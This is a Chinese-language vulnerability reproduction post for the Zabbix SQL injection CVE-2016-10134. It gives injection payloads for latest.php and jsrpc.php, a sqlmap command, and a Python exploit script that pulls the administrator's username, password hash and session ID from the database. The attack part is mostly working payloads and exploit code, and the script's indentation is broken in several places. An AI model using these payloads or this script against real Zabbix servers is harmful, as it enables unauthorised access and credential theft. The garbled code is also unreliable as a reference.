zabbix SQL注入(CVE-2016-10134)漏洞复现


什么是zabbix
zabbix([`zæbiks])是一个基于 WEB界面的提供分布式 系统监视以及网络监视功能的企业级的开源解决方案。
zabbix能监视各种网络参数,保证 服务器系统的安全运营;并提供灵活的通知机制以让 系统管理员快速定位/解决存在的各种问题。
zabbix由2部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过 SNMP,zabbix agent, ping,端口监视等方法提供对远程服务器/网络状态的监视, 数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。--来自百度百科
漏洞简介
Zabbix是拉脱维亚Zabbix SIA公司的一套开源的监控系统。该系统可监视各种网络参数,并提供通知机制让系统管理员快速定位、解决存在的各种问题。
Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本中存在SQL注入漏洞。远程攻击者可借助latest.php文件中的‘toggle_ids’数组参数利用该漏洞执行任意SQL命令。
利用条件
zabbix开启了guest权限。而在zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。
存在此漏洞的版本
Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本。
漏洞复现
latest.php页面
提取cookie中的zbx_sessionid的后16位
构造payload
/latest.php?output.php=ajax&sid=bb8a0a548b92eafd&favobj=toggle&toggle_open_state=1&toggle_ids=updatexml(0,concat(0xa,database()),0)
返回当前数据库,存在注入。
 
此注入漏洞衍生出另一个页面的注入漏洞
jsrpc.php页面
构造payload
jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,database()),0)
利用sqlmap测试
命令: Sqlmap -u “目标连接+PoC” -p “profileIdx2” --technique E --dbs 
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2016/8/18
# Modified by: Jamin Zhang
 
import urllib2
import sys, os
import re
 
def deteck_Sql():
    u'检查是否存在 SQL 注入'
    payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(url + payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
        if key_reg.findall(response):
        return True
 
 
def sql_Inject(sql):
    u'获取特定sql语句内容'
    payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
    result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
    results = result_reg.findall(response)
    if results:
    return results[0]
 
if __name__ == '__main__':
    # os.system(['clear', 'cls'][os.name == 'nt'])
    print '+' + '-' * 60 + '+'
    print u'\t Python Zabbix < 3.0.4 SQL 注入 Exploit'
    print '\t Origin Author: http://www.waitalone.cn/'
    print '\t\t Modified by: Jamin Zhang'
    print '\t\t Modified by: Jamin Zhang'
    print '+' + '-' * 60 + '+'
    if len(sys.argv) != 2:
        print u'用法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix Server Web 后台 URL]'    
        print u'实例: ' + os.path.basename(sys.argv[0]) + ' http://jaminzhang.github.io'
        sys.exit()
    url = sys.argv[1]
    if url[-1] != '/': url += '/'
    passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    if deteck_Sql():
    print u'Zabbix 存在 SQL 注入漏洞!\n'
    print u'管理员 用户名密码:%s' % sql_Inject(passwd_sql)
    print u'管理员 Session_id:%s' % sql_Inject(session_sql)
    else:
    print u'Zabbix 不存在 SQL 注入漏洞!\n'
 
关于修复
关闭guest权限
打补丁
升级版本
 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM